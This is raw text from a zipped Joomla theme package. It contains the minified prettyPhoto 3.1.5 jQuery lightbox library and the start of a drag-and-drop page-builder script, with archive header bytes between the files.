  },
  utils: {
    isFunction: function(func){
      if (typeof func === 'function'){
        return true;
      } else {
        return false;
      }
    },
    isMobile: function() {
      if (navigator.userAgent.match(/(iPhone|iPod|iPad|Android|BlackBerry)/)) {
        return true;
      } else {
        return false;
      }
    }
  }
};
PK!p���,V,V"bluetheme/assets/js/prettyPhoto.jsnu&1i�/* ------------------------------------------------------------------------
	Class: prettyPhoto
	Use: Lightbox clone for jQuery
	Author: Stephane Caron (http://www.no-margin-for-errors.com)
	Version: 3.1.5
------------------------------------------------------------------------- */
(function(e){function t(){var e=location.href;hashtag=e.indexOf("#prettyPhoto")!==-1?decodeURI(e.substring(e.indexOf("#prettyPhoto")+1,e.length)):false;return hashtag}function n(){if(typeof theRel=="undefined")return;location.hash=theRel+"/"+rel_index+"/"}function r(){if(location.href.indexOf("#prettyPhoto")!==-1)location.hash="prettyPhoto"}function i(e,t){e=e.replace(/[\[]/,"\\[").replace(/[\]]/,"\\]");var n="[\\?&]"+e+"=([^&#]*)";var r=new RegExp(n);var i=r.exec(t);return i==null?"":i[1]}e.prettyPhoto={version:"3.1.5"};e.fn.prettyPhoto=function(s){function g(){e(".pp_loaderIcon").hide();projectedTop=scroll_pos["scrollTop"]+(d/2-a["containerHeight"]/2);if(projectedTop<0)projectedTop=0;$ppt.fadeTo(settings.animation_speed,1);$pp_pic_holder.find(".pp_content").animate({height:a["contentHeight"],width:a["contentWidth"]},settings.animation_speed);$pp_pic_holder.animate({top:projectedTop,left:v/2-a["containerWidth"]/2<0?0:v/2-a["containerWidth"]/2,width:a["containerWidth"]},settings.animation_speed,function(){$pp_pic_holder.find(".pp_hoverContainer,#fullResImage").height(a["height"]).width(a["width"]);$pp_pic_holder.find(".pp_fade").fadeIn(settings.animation_speed);if(isSet&&S(pp_images[set_position])=="image"){$pp_pic_holder.find(".pp_hoverContainer").show()}else{$pp_pic_holder.find(".pp_hoverContainer").hide()}if(settings.allow_expand){if(a["resized"]){e("a.pp_expand,a.pp_contract").show()}else{e("a.pp_expand").hide()}}if(settings.autoplay_slideshow&&!m&&!f)e.prettyPhoto.startSlideshow();settings.changepicturecallback();f=true});C();s.ajaxcallback()}function y(t){$pp_pic_holder.find("#pp_full_res object,#pp_full_res embed").css("visibility","hidden");$pp_pic_holder.find(".pp_fade").fadeOut(settings.animation_speed,function(){e(".pp_loaderIcon").show();t()})}function b(t){t>1?e(".pp_nav").show():e(".pp_nav").hide()}function w(e,t){resized=false;E(e,t);imageWidth=e,imageHeight=t;if((p>v||h>d)&&doresize&&settings.allow_resize&&!u){resized=true,fitting=false;while(!fitting){if(p>v){imageWidth=v-200;imageHeight=t/e*imageWidth}else if(h>d){imageHeight=d-200;imageWidth=e/t*imageHeight}else{fitting=true}h=imageHeight,p=imageWidth}if(p>v||h>d){w(p,h)}E(imageWidth,imageHeight)}return{width:Math.floor(imageWidth),height:Math.floor(imageHeight),containerHeight:Math.floor(h),containerWidth:Math.floor(p)+settings.horizontal_padding*2,contentHeight:Math.floor(l),contentWidth:Math.floor(c),resized:resized}}function E(t,n){t=parseFloat(t);n=parseFloat(n);$pp_details=$pp_pic_holder.find(".pp_details");$pp_details.width(t);detailsHeight=parseFloat($pp_details.css("marginTop"))+parseFloat($pp_details.css("marginBottom"));$pp_details=$pp_details.clone().addClass(settings.theme).width(t).appendTo(e("body")).css({position:"absolute",top:-1e4});detailsHeight+=$pp_details.height();detailsHeight=detailsHeight<=34?36:detailsHeight;$pp_details.remove();$pp_title=$pp_pic_holder.find(".ppt");$pp_title.width(t);titleHeight=parseFloat($pp_title.css("marginTop"))+parseFloat($pp_title.css("marginBottom"));$pp_title=$pp_title.clone().appendTo(e("body")).css({position:"absolute",top:-1e4});titleHeight+=$pp_title.height();$pp_title.remove();l=n+detailsHeight;c=t;h=l+titleHeight+$pp_pic_holder.find(".pp_top").height()+$pp_pic_holder.find(".pp_bottom").height();p=t}function S(e){if(e.match(/youtube\.com\/watch/i)||e.match(/youtu\.be/i)){return"youtube"}else if(e.match(/vimeo\.com/i)){return"vimeo"}else if(e.match(/\b.mov\b/i)){return"quicktime"}else if(e.match(/\b.swf\b/i)){return"flash"}else if(e.match(/\biframe=true\b/i)){return"iframe"}else if(e.match(/\bajax=true\b/i)){return"ajax"}else if(e.match(/\bcustom=true\b/i)){return"custom"}else if(e.substr(0,1)=="#"){return"inline"}else{return"image"}}function x(){if(doresize&&typeof $pp_pic_holder!="undefined"){scroll_pos=T();contentHeight=$pp_pic_holder.height(),contentwidth=$pp_pic_holder.width();projectedTop=d/2+scroll_pos["scrollTop"]-contentHeight/2;if(projectedTop<0)projectedTop=0;if(contentHeight>d)return;$pp_pic_holder.css({top:projectedTop,left:v/2+scroll_pos["scrollLeft"]-contentwidth/2})}}function T(){if(self.pageYOffset){return{scrollTop:self.pageYOffset,scrollLeft:self.pageXOffset}}else if(document.documentElement&&document.documentElement.scrollTop){return{scrollTop:document.documentElement.scrollTop,scrollLeft:document.documentElement.scrollLeft}}else if(document.body){return{scrollTop:document.body.scrollTop,scrollLeft:document.body.scrollLeft}}}function N(){d=e(window).height(),v=e(window).width();if(typeof $pp_overlay!="undefined")$pp_overlay.height(e(document).height()).width(v)}function C(){if(isSet&&settings.overlay_gallery&&S(pp_images[set_position])=="image"){itemWidth=52+5;navWidth=settings.theme=="facebook"||settings.theme=="pp_default"?50:30;itemsPerPage=Math.floor((a["containerWidth"]-100-navWidth)/itemWidth);itemsPerPage=itemsPerPage<pp_images.length?itemsPerPage:pp_images.length;totalPage=Math.ceil(pp_images.length/itemsPerPage)-1;if(totalPage==0){navWidth=0;$pp_gallery.find(".pp_arrow_next,.pp_arrow_previous").hide()}else{$pp_gallery.find(".pp_arrow_next,.pp_arrow_previous").show()}galleryWidth=itemsPerPage*itemWidth;fullGalleryWidth=pp_images.length*itemWidth;$pp_gallery.css("margin-left",-(galleryWidth/2+navWidth/2)).find("div:first").width(galleryWidth+5).find("ul").width(fullGalleryWidth).find("li.selected").removeClass("selected");goToPage=Math.floor(set_position/itemsPerPage)<totalPage?Math.floor(set_position/itemsPerPage):totalPage;e.prettyPhoto.changeGalleryPage(goToPage);$pp_gallery_li.filter(":eq("+set_position+")").addClass("selected")}else{$pp_pic_holder.find(".pp_content").unbind("mouseenter mouseleave")}}function k(t){if(settings.social_tools)facebook_like_link=settings.social_tools.replace("{location_href}",encodeURIComponent(location.href));settings.markup=settings.markup.replace("{pp_social}","");e("body").append(settings.markup);$pp_pic_holder=e(".pp_pic_holder"),$ppt=e(".ppt"),$pp_overlay=e("div.pp_overlay");if(isSet&&settings.overlay_gallery){currentGalleryPage=0;toInject="";for(var n=0;n<pp_images.length;n++){if(!pp_images[n].match(/\b(jpg|jpeg|png|gif)\b/gi)){classname="default";img_src=""}else{classname="";img_src=pp_images[n]}toInject+="<li class='"+classname+"'><a href='#'><img src='"+img_src+"' width='50' alt='' /></a></li>"}toInject=settings.gallery_markup.replace(/{gallery}/g,toInject);$pp_pic_holder.find("#pp_full_res").after(toInject);$pp_gallery=e(".pp_pic_holder .pp_gallery"),$pp_gallery_li=$pp_gallery.find("li");$pp_gallery.find(".pp_arrow_next").click(function(){e.prettyPhoto.changeGalleryPage("next");e.prettyPhoto.stopSlideshow();return false});$pp_gallery.find(".pp_arrow_previous").click(function(){e.prettyPhoto.changeGalleryPage("previous");e.prettyPhoto.stopSlideshow();return false});$pp_pic_holder.find(".pp_content").hover(function(){$pp_pic_holder.find(".pp_gallery:not(.disabled)").fadeIn()},function(){$pp_pic_holder.find(".pp_gallery:not(.disabled)").fadeOut()});itemWidth=52+5;$pp_gallery_li.each(function(t){e(this).find("a").click(function(){e.prettyPhoto.changePage(t);e.prettyPhoto.stopSlideshow();return false})})}if(settings.slideshow){$pp_pic_holder.find(".pp_nav").prepend('<a href="#" class="pp_play">Play</a>');$pp_pic_holder.find(".pp_nav .pp_play").click(function(){e.prettyPhoto.startSlideshow();return false})}$pp_pic_holder.attr("class","pp_pic_holder "+settings.theme);$pp_overlay.css({opacity:0,height:e(document).height(),width:e(window).width()}).bind("click",function(){if(!settings.modal)e.prettyPhoto.close()});e("a.pp_close").bind("click",function(){e.prettyPhoto.close();return false});if(settings.allow_expand){e("a.pp_expand").bind("click",function(t){if(e(this).hasClass("pp_expand")){e(this).removeClass("pp_expand").addClass("pp_contract");doresize=false}else{e(this).removeClass("pp_contract").addClass("pp_expand");doresize=true}y(function(){e.prettyPhoto.open()});return false})}$pp_pic_holder.find(".pp_previous, .pp_nav .pp_arrow_previous").bind("click",function(){e.prettyPhoto.changePage("previous");e.prettyPhoto.stopSlideshow();return false});$pp_pic_holder.find(".pp_next, .pp_nav .pp_arrow_next").bind("click",function(){e.prettyPhoto.changePage("next");e.prettyPhoto.stopSlideshow();return false});x()}s=jQuery.extend({hook:"rel",animation_speed:"fast",ajaxcallback:function(){},slideshow:5e3,autoplay_slideshow:false,opacity:.8,show_title:true,allow_resize:true,allow_expand:true,default_width:500,default_height:344,counter_separator_label:"/",theme:"pp_default",horizontal_padding:20,hideflash:false,wmode:"opaque",autoplay:true,modal:false,deeplinking:true,overlay_gallery:true,overlay_gallery_max:30,keyboard_shortcuts:true,changepicturecallback:function(){},callback:function(){},ie6_fallback:true,markup:'<div class="pp_pic_holder"> 						<div class="ppt"> </div> 						<div class="pp_top"> 							<div class="pp_left"></div> 							<div class="pp_middle"></div> 							<div class="pp_right"></div> 						</div> 						<div class="pp_content_container"> 							<div class="pp_left"> 							<div class="pp_right"> 								<div class="pp_content"> 									<div class="pp_loaderIcon"></div> 									<div class="pp_fade"> 										<a href="#" class="pp_expand" title="Expand the image">Expand</a> 										<div class="pp_hoverContainer"> 											<a class="pp_next" href="#">next</a> 											<a class="pp_previous" href="#">previous</a> 										</div> 										<div id="pp_full_res"></div> 										<div class="pp_details"> 											<div class="pp_nav"> 												<a href="#" class="pp_arrow_previous">Previous</a> 												<p class="currentTextHolder">0/0</p> 												<a href="#" class="pp_arrow_next">Next</a> 											</div> 											<p class="pp_description"></p> 											<div class="pp_social">{pp_social}</div> 											<a class="pp_close" href="#">Close</a> 										</div> 									</div> 								</div> 							</div> 							</div> 						</div> 						<div class="pp_bottom"> 							<div class="pp_left"></div> 							<div class="pp_middle"></div> 							<div class="pp_right"></div> 						</div> 					</div> 					<div class="pp_overlay"></div>',gallery_markup:'<div class="pp_gallery"> 								<a href="#" class="pp_arrow_previous">Previous</a> 								<div> 									<ul> 										{gallery} 									</ul> 								</div> 								<a href="#" class="pp_arrow_next">Next</a> 							</div>',image_markup:'<img id="fullResImage" src="{path}" />',flash_markup:'<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="{width}" height="{height}"><param name="wmode" value="{wmode}" /><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="{path}" /><embed src="{path}" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="{width}" height="{height}" wmode="{wmode}"></embed></object>',quicktime_markup:'<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" codebase="http://www.apple.com/qtactivex/qtplugin.cab" height="{height}" width="{width}"><param name="src" value="{path}"><param name="autoplay" value="{autoplay}"><param name="type" value="video/quicktime"><embed src="{path}" height="{height}" width="{width}" autoplay="{autoplay}" type="video/quicktime" pluginspage="http://www.apple.com/quicktime/download/"></embed></object>',iframe_markup:'<iframe src ="{path}" width="{width}" height="{height}" frameborder="no"></iframe>',inline_markup:'<div class="pp_inline">{content}</div>',custom_markup:"",social_tools:'<div class="twitter"><a href="http://twitter.com/share" class="twitter-share-button" data-count="none">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><div class="facebook"><iframe src="//www.facebook.com/plugins/like.php?locale=en_US&href={location_href}&layout=button_count&show_faces=true&width=500&action=like&font&colorscheme=light&height=23" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:500px; height:23px;" allowTransparency="true"></iframe></div>'},s);var o=this,u=false,a,f,l,c,h,p,d=e(window).height(),v=e(window).width(),m;doresize=true,scroll_pos=T();e(window).unbind("resize.prettyphoto").bind("resize.prettyphoto",function(){x();N()});if(s.keyboard_shortcuts){e(document).unbind("keydown.prettyphoto").bind("keydown.prettyphoto",function(t){if(typeof $pp_pic_holder!="undefined"){if($pp_pic_holder.is(":visible")){switch(t.keyCode){case 37:e.prettyPhoto.changePage("previous");t.preventDefault();break;case 39:e.prettyPhoto.changePage("next");t.preventDefault();break;case 27:if(!settings.modal)e.prettyPhoto.close();t.preventDefault();break}}}})}e.prettyPhoto.initialize=function(){settings=s;if(settings.theme=="pp_default")settings.horizontal_padding=16;theRel=e(this).attr(settings.hook);galleryRegExp=/\[(?:.*)\]/;isSet=galleryRegExp.exec(theRel)?true:false;pp_images=isSet?jQuery.map(o,function(t,n){if(e(t).attr(settings.hook).indexOf(theRel)!=-1)return e(t).attr("href")}):e.makeArray(e(this).attr("href"));pp_titles=isSet?jQuery.map(o,function(t,n){if(e(t).attr(settings.hook).indexOf(theRel)!=-1)return e(t).find("img").attr("alt")?e(t).find("img").attr("alt"):""}):e.makeArray(e(this).find("img").attr("alt"));pp_descriptions=isSet?jQuery.map(o,function(t,n){if(e(t).attr(settings.hook).indexOf(theRel)!=-1)return e(t).attr("title")?e(t).attr("title"):""}):e.makeArray(e(this).attr("title"));if(pp_images.length>settings.overlay_gallery_max)settings.overlay_gallery=false;set_position=jQuery.inArray(e(this).attr("href"),pp_images);rel_index=isSet?set_position:e("a["+settings.hook+"^='"+theRel+"']").index(e(this));k(this);if(settings.allow_resize)e(window).bind("scroll.prettyphoto",function(){x()});e.prettyPhoto.open();return false};e.prettyPhoto.open=function(t){if(typeof settings=="undefined"){settings=s;pp_images=e.makeArray(arguments[0]);pp_titles=arguments[1]?e.makeArray(arguments[1]):e.makeArray("");pp_descriptions=arguments[2]?e.makeArray(arguments[2]):e.makeArray("");isSet=pp_images.length>1?true:false;set_position=arguments[3]?arguments[3]:0;k(t.target)}if(settings.hideflash)e("object,embed,iframe[src*=youtube],iframe[src*=vimeo]").css("visibility","hidden");b(e(pp_images).size());e(".pp_loaderIcon").show();if(settings.deeplinking)n();if(settings.social_tools){facebook_like_link=settings.social_tools.replace("{location_href}",encodeURIComponent(location.href));$pp_pic_holder.find(".pp_social").html(facebook_like_link)}if($ppt.is(":hidden"))$ppt.css("opacity",0).show();$pp_overlay.show().fadeTo(settings.animation_speed,settings.opacity);$pp_pic_holder.find(".currentTextHolder").text(set_position+1+settings.counter_separator_label+e(pp_images).size());if(typeof pp_descriptions[set_position]!="undefined"&&pp_descriptions[set_position]!=""){$pp_pic_holder.find(".pp_description").show().html(unescape(pp_descriptions[set_position]))}else{$pp_pic_holder.find(".pp_description").hide()}movie_width=parseFloat(i("width",pp_images[set_position]))?i("width",pp_images[set_position]):settings.default_width.toString();movie_height=parseFloat(i("height",pp_images[set_position]))?i("height",pp_images[set_position]):settings.default_height.toString();u=false;if(movie_height.indexOf("%")!=-1){movie_height=parseFloat(e(window).height()*parseFloat(movie_height)/100-150);u=true}if(movie_width.indexOf("%")!=-1){movie_width=parseFloat(e(window).width()*parseFloat(movie_width)/100-150);u=true}$pp_pic_holder.fadeIn(function(){settings.show_title&&pp_titles[set_position]!=""&&typeof pp_titles[set_position]!="undefined"?$ppt.html(unescape(pp_titles[set_position])):$ppt.html(" ");imgPreloader="";skipInjection=false;switch(S(pp_images[set_position])){case"image":imgPreloader=new Image;nextImage=new Image;if(isSet&&set_position<e(pp_images).size()-1)nextImage.src=pp_images[set_position+1];prevImage=new Image;if(isSet&&pp_images[set_position-1])prevImage.src=pp_images[set_position-1];$pp_pic_holder.find("#pp_full_res")[0].innerHTML=settings.image_markup.replace(/{path}/g,pp_images[set_position]);imgPreloader.onload=function(){a=w(imgPreloader.width,imgPreloader.height);g()};imgPreloader.onerror=function(){alert("Image cannot be loaded. Make sure the path is correct and image exist.");e.prettyPhoto.close()};imgPreloader.src=pp_images[set_position];break;case"youtube":a=w(movie_width,movie_height);movie_id=i("v",pp_images[set_position]);if(movie_id==""){movie_id=pp_images[set_position].split("youtu.be/");movie_id=movie_id[1];if(movie_id.indexOf("?")>0)movie_id=movie_id.substr(0,movie_id.indexOf("?"));if(movie_id.indexOf("&")>0)movie_id=movie_id.substr(0,movie_id.indexOf("&"))}movie="http://www.youtube.com/embed/"+movie_id;i("rel",pp_images[set_position])?movie+="?rel="+i("rel",pp_images[set_position]):movie+="?rel=1";if(settings.autoplay)movie+="&autoplay=1";toInject=settings.iframe_markup.replace(/{width}/g,a["width"]).replace(/{height}/g,a["height"]).replace(/{wmode}/g,settings.wmode).replace(/{path}/g,movie);break;case"vimeo":a=w(movie_width,movie_height);movie_id=pp_images[set_position];var t=/http(s?):\/\/(www\.)?vimeo.com\/(\d+)/;var n=movie_id.match(t);movie="http://player.vimeo.com/video/"+n[3]+"?title=0&byline=0&portrait=0";if(settings.autoplay)movie+="&autoplay=1;";vimeo_width=a["width"]+"/embed/?moog_width="+a["width"];toInject=settings.iframe_markup.replace(/{width}/g,vimeo_width).replace(/{height}/g,a["height"]).replace(/{path}/g,movie);break;case"quicktime":a=w(movie_width,movie_height);a["height"]+=15;a["contentHeight"]+=15;a["containerHeight"]+=15;toInject=settings.quicktime_markup.replace(/{width}/g,a["width"]).replace(/{height}/g,a["height"]).replace(/{wmode}/g,settings.wmode).replace(/{path}/g,pp_images[set_position]).replace(/{autoplay}/g,settings.autoplay);break;case"flash":a=w(movie_width,movie_height);flash_vars=pp_images[set_position];flash_vars=flash_vars.substring(pp_images[set_position].indexOf("flashvars")+10,pp_images[set_position].length);filename=pp_images[set_position];filename=filename.substring(0,filename.indexOf("?"));toInject=settings.flash_markup.replace(/{width}/g,a["width"]).replace(/{height}/g,a["height"]).replace(/{wmode}/g,settings.wmode).replace(/{path}/g,filename+"?"+flash_vars);break;case"iframe":a=w(movie_width,movie_height);frame_url=pp_images[set_position];frame_url=frame_url.substr(0,frame_url.indexOf("iframe")-1);toInject=settings.iframe_markup.replace(/{width}/g,a["width"]).replace(/{height}/g,a["height"]).replace(/{path}/g,frame_url);break;case"ajax":doresize=false;a=w(movie_width,movie_height);doresize=true;skipInjection=true;e.get(pp_images[set_position],function(e){toInject=settings.inline_markup.replace(/{content}/g,e);$pp_pic_holder.find("#pp_full_res")[0].innerHTML=toInject;g()});break;case"custom":a=w(movie_width,movie_height);toInject=settings.custom_markup;break;case"inline":myClone=e(pp_images[set_position]).clone().append('<br clear="all" />').css({width:settings.default_width}).wrapInner('<div id="pp_full_res"><div class="pp_inline"></div></div>').appendTo(e("body")).show();doresize=false;a=w(e(myClone).width(),e(myClone).height());doresize=true;e(myClone).remove();toInject=settings.inline_markup.replace(/{content}/g,e(pp_images[set_position]).html());break}if(!imgPreloader&&!skipInjection){$pp_pic_holder.find("#pp_full_res")[0].innerHTML=toInject;g()}});return false};e.prettyPhoto.changePage=function(t){currentGalleryPage=0;if(t=="previous"){set_position--;if(set_position<0)set_position=e(pp_images).size()-1}else if(t=="next"){set_position++;if(set_position>e(pp_images).size()-1)set_position=0}else{set_position=t}rel_index=set_position;if(!doresize)doresize=true;if(settings.allow_expand){e(".pp_contract").removeClass("pp_contract").addClass("pp_expand")}y(function(){e.prettyPhoto.open()})};e.prettyPhoto.changeGalleryPage=function(e){if(e=="next"){currentGalleryPage++;if(currentGalleryPage>totalPage)currentGalleryPage=0}else if(e=="previous"){currentGalleryPage--;if(currentGalleryPage<0)currentGalleryPage=totalPage}else{currentGalleryPage=e}slide_speed=e=="next"||e=="previous"?settings.animation_speed:0;slide_to=currentGalleryPage*itemsPerPage*itemWidth;$pp_gallery.find("ul").animate({left:-slide_to},slide_speed)};e.prettyPhoto.startSlideshow=function(){if(typeof m=="undefined"){$pp_pic_holder.find(".pp_play").unbind("click").removeClass("pp_play").addClass("pp_pause").click(function(){e.prettyPhoto.stopSlideshow();return false});m=setInterval(e.prettyPhoto.startSlideshow,settings.slideshow)}else{e.prettyPhoto.changePage("next")}};e.prettyPhoto.stopSlideshow=function(){$pp_pic_holder.find(".pp_pause").unbind("click").removeClass("pp_pause").addClass("pp_play").click(function(){e.prettyPhoto.startSlideshow();return false});clearInterval(m);m=undefined};e.prettyPhoto.close=function(){if($pp_overlay.is(":animated"))return;e.prettyPhoto.stopSlideshow();$pp_pic_holder.stop().find("object,embed").css("visibility","hidden");e("div.pp_pic_holder,div.ppt,.pp_fade").fadeOut(settings.animation_speed,function(){e(this).remove()});$pp_overlay.fadeOut(settings.animation_speed,function(){if(settings.hideflash)e("object,embed,iframe[src*=youtube],iframe[src*=vimeo]").css("visibility","visible");e(this).remove();e(window).unbind("scroll.prettyphoto");r();settings.callback();doresize=true;f=false;delete settings})};if(!pp_alreadyInitialized&&t()){pp_alreadyInitialized=true;hashIndex=t();hashRel=hashIndex;hashIndex=hashIndex.substring(hashIndex.indexOf("/")+1,hashIndex.length-1);hashRel=hashRel.substring(0,hashRel.indexOf("/"));setTimeout(function(){e("a["+s.hook+"^='"+hashRel+"']:eq("+hashIndex+")").trigger("click")},50)}return this.unbind("click.prettyphoto").bind("click.prettyphoto",e.prettyPhoto.initialize)};})(jQuery);var pp_alreadyInitialized=falsePK!�Vdʥ���$bluetheme/assets/js/plugin-design.jsnu&1i�
/*! Plugin Design - v1.0
* http://cmsbluetheme.com
* author 	:cmsbluetheme
* Copyright 2013  */
//encodeURIComponent
//decodeURIComponent
var arrayType;
var data_ele;
jQuery(document).ready(function(){
	addEventPopup();
	jQuery('#pageconfig-submit').click(function(){
		jQuery.stbox.close();
	});
	arrayType=jQuery.parseJSON(decodeURIComponent(jQuery('#st-arrName').attr("data")));
	if(jQuery('#st-page>li').length>0){
		jQuery('#st-page>li').each(function(){
			if(jQuery(this).hasClass("st-column")){
				jQuery(this).removeClass("st-column").addClass("st-column-container");
				AddColumn(this);
				data = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data")));
				ColumnDesign(this,data.content);
			}else if(jQuery(this).hasClass("st-tabs")){
				jQuery(this).removeClass("st-tabs").addClass("st-tabs-container");
				AddTab(this);
				data = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data")));
				TabsDesign(this,data.content);
			}
		});
		AddEvent();
	}
	jQuery('#st-page li').removeClass("btn");
	addsort();
	jQuery( "#draggable li" ).draggable({
		connectToSortable: ".sortable",
		appendTo: "body",
		placeholder: 'placeholder',
		helper: "clone",
		revert: "invalid"
	});
	// Remove action button toolbar default Joomla
	jQuery("#toolbar button").removeAttr("onclick");
	// Add Event Save
	buttonsave();
	// Append Input Name to Toolbar
	jQuery(".namepage .st-namepage").appendTo("#toolbar");
	jQuery('#toolbar-cancel').click(function(){
		window.location="index.php?option=com_blue_pagebuilder";
	});
	setTitleModule();
	duplicateItem();
});

function duplicateItem(){
	jQuery('#st-page .st-duplicate').unbind('click');
	jQuery('#st-page .st-duplicate').click(function(){
		var item = jQuery(this).parent().parent();
		//console.log(item.attr('tabs_desi'));
		if(item.attr('data-type')=='tabs_desi'){
			var selectab = item.find('.nav-tabs');
			var oldtabid = selectab.attr("id").split('-')[1];
			var tabid =makeid();
			var myid = selectab.attr("id").split('-')[0]+'-'+tabid;
			item.after('<li data-type="'+item.attr('data-type')+'" data="'+item.attr('data')+'" class="'+item.attr('class')+'" style="display:block;">'+item.html()+'</li>');
			var itemnew = item.next();
			var lengtab = itemnew.find('.tab-content .tab-pane').length;
			itemnew.find('.nav-tabs').attr('id',myid).find('>li').each(function(index, el) {
				if(index<lengtab){
					jQuery(this).find('a').attr('href','#'+myid+'-'+index);
					jQuery(itemnew.find('.tab-content .tab-pane')[index]).attr('id',myid+'-'+index);
					var idinput = jQuery(this).find('a .input-edittab').attr('id');
					var idinput = idinput.replace(oldtabid,tabid);
					jQuery(this).find('a .input-edittab').attr('id',idinput);
				}
			});
			addEventTab(tabid);
		}else{
			item.after('<li data-type="'+item.attr('data-type')+'" data="'+item.attr('data')+'" class="'+item.attr('class')+'" style="display:block;">'+item.html()+'</li>');
		}
		AddEvent();
		changeColumn();
	});
	
}
// AddEvent 
function AddEvent(){
	// add event data
	duplicateItem();
	jQuery('#st-page li .st-edit').bind('click',function(){
		jQuery('#st-page li').removeClass("st-focus");
		select = jQuery(this).closest('li');
		select.addClass("st-focus");
		data_ele = jQuery.parseJSON(decodeURIComponent(select.attr("data")));
		//console.log(data_ele);
		switch(data_ele.type){
			case "contact_desi":
				getContactOption(data_ele);
				break;
            case "bgvideo_desi":
				getBgVideoOption(data_ele);
				break;
			case "vimeo_desi":
				getVimeoOption(data_ele);
				break;
			case "youtube_desi":
				getYoutubeOption(data_ele);
				break;
			case "alert_desi":
				getMessageBoxOption(data_ele);
				break;
			case "recent_article_desi":
				getArticleRecentOption(data_ele);
				break;
			case "article_box_desi":
				getArticleBoxOption(data_ele);
				break;
			case "moduleid_desi":
				getModuleOption(data_ele);
				break;
			case "divider_desi":
				getDividerOption(data_ele);
				break;
			case "tabs_desi":
				getTabsOption(data_ele);
				break;
			case "flickr_desi":
			    getFlickrOption(data_ele);	
			    break;
			case "fb_likebox_desi":
			    getFb_likbeboxOption(data_ele);
			    break;
			case "slider_desi":
			    getSliderOption(data_ele);
			    break; 
            case "gallery_desi":
			    getGalleryOption(data_ele);
			    break; 
			case "gmap_desi":
				getGmapOption(data_ele);
				break;
			case "html_desi":
				getHtmlOption(data_ele);
				break;
			case "columns_desi":
				getColumDesignOption(data_ele);
				break;
			case "portfolio_desi":
				getPortfolioOption(data_ele);
				break;
            case "services_desi":
                getServicesOption(data_ele);
                break;
			case "about_desi":
				getAboutOption(data_ele);
				break;
            case "parallax_desi":
				getParallaxOption(data_ele);
				break;
            
            case "skill_desi":
				getSkillOption(data_ele);
				break;
            case "pricing_desi":
				getPricingOption(data_ele);
				break;
            case "intro_desi":
				getIntroOption(data_ele);
				break;
            case "testimonial_desi":
				getTestimonialOption(data_ele);
				break;
		}
	});
	//add event close item
	jQuery('#st-page .st-close').bind('click',function(e){
		jQuery(this).closest('li').remove();
	});

	//add event close item
	jQuery('#st-page .st-hide').toggle(function(){
		var sele =jQuery(this).closest('li');
		sele.find('.st-columns').addClass('none');
		sele.find('.column-button-group').addClass("none");
		sele.find('.st-tabitems').addClass("none");
	},function(){
		var sele =jQuery(this).closest('li');
		sele.find('.st-columns').removeClass('none');
		sele.find('.column-button-group').removeClass("none");
		sele.find('.st-tabitems').removeClass("none");
	});
}


function setTitleModule(){
	jQuery('#st-page li').each(function(){
		if(jQuery(this).hasClass('st-module')){
			var title = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr('data'))).attr.title;
			jQuery(this).find('.st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');
		}else if(jQuery(this).hasClass('st-html')){
            var title = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr('data'))).attr.title;
            if(title!=null && title!="")
            jQuery(this).find('.st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');
        }else if(jQuery(this).hasClass('st-services')){
            var title = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr('data'))).attr.title;
            if(title!=null && title!="")
                jQuery(this).find('.st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');
        }
	});
}

function makeid()
{
    var text = "";
    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

    for( var i=0; i < 5; i++ )
        text += possible.charAt(Math.floor(Math.random() * possible.length));
    return text;
}
// Add Event sorttable
function addsort(){
	jQuery( ".sortable" ).sortable({
		connectToSortable: "#draggable",
		connectWith:".sortable",
		appendTo: "body",
		placeholder: 'placeholder',
	    revert: true,
	    receive: function(event, ui) {
      		AddEvent(); // add Event 
      		//duplicateItem();
        },
        start: function( event, ui ) {
        	if(jQuery(ui.item).hasClass("st-column-container")){
        		jQuery(ui.item).find('.st-columns').hide();
        		jQuery(ui.item).find('.btn-group').hide();
        		jQuery(ui.item).css('height','40');
        	}else if(jQuery(ui.item).hasClass("st-tabs-container")){
        		 jQuery(ui.item).find('.st-tabitems').hide();
        		 jQuery(ui.item).css('height','40');
        	}
        },
        stop: function( event, ui ) {
        	if(ui.item.hasClass("st-column")){
        		jQuery(ui.item).removeClass("st-column").addClass("st-column-container");
        		//jQuery(ui.item).find('.st-edit').remove();
	    		AddColumn(ui.item);
	    	}
	    	else if(ui.item.hasClass("st-tabs")){
	    		jQuery(ui.item).removeClass("st-tabs").addClass("st-tabs-container");
	    		AddTab(ui.item);
	    	}else if(ui.item.hasClass("st-column-container")){
	    		jQuery(ui.item).find('.st-columns').show();
        		jQuery(ui.item).find('.btn-group').show();
        		jQuery(ui.item).css('height','auto');
	    	}else if(jQuery(ui.item).hasClass("st-tabs-container")){
	    		jQuery(ui.item).find('.st-tabitems').show();
        		jQuery(ui.item).css('height','auto');
	    	}
        }
	});
}


function addsortSub(){
	jQuery( ".sortable" ).sortable({
		connectToSortable: "#draggable",
		connectWith:".sortable",
		appendTo: "body",
		placeholder: 'placeholder',
	    revert: true,
	    receive: function(event, ui) {
      		AddEvent(); // add Event 
        },
        stop: function( event, ui ) {
        	if(ui.item.hasClass("st-column")){
        		jQuery(ui.item).remove();
        		alert('no support');
	    	}
	    	ui.item.removeClass("btn");
        }
	});
}


function addEventPopup(){
	jQuery('.stmodal').stbox({
		padding     :0,
		openEffect	: 'elastic',
		closeEffect	: 'elastic',
		helpers : {
			overlay:{
				closeClick :false,
				speedOut   : 200
			},
			title:null
		},
		closeBtn : false,
		autoSize : false,
		beforeLoad  :function(){
			var typepopup =jQuery(this.element).attr("data-type");
			switch(typepopup){//
//			     case "bgvideo_desi":
//					this.width=400;
//					this.height=400;
//					break;
				case "portfolio_desi":
					this.width=600;
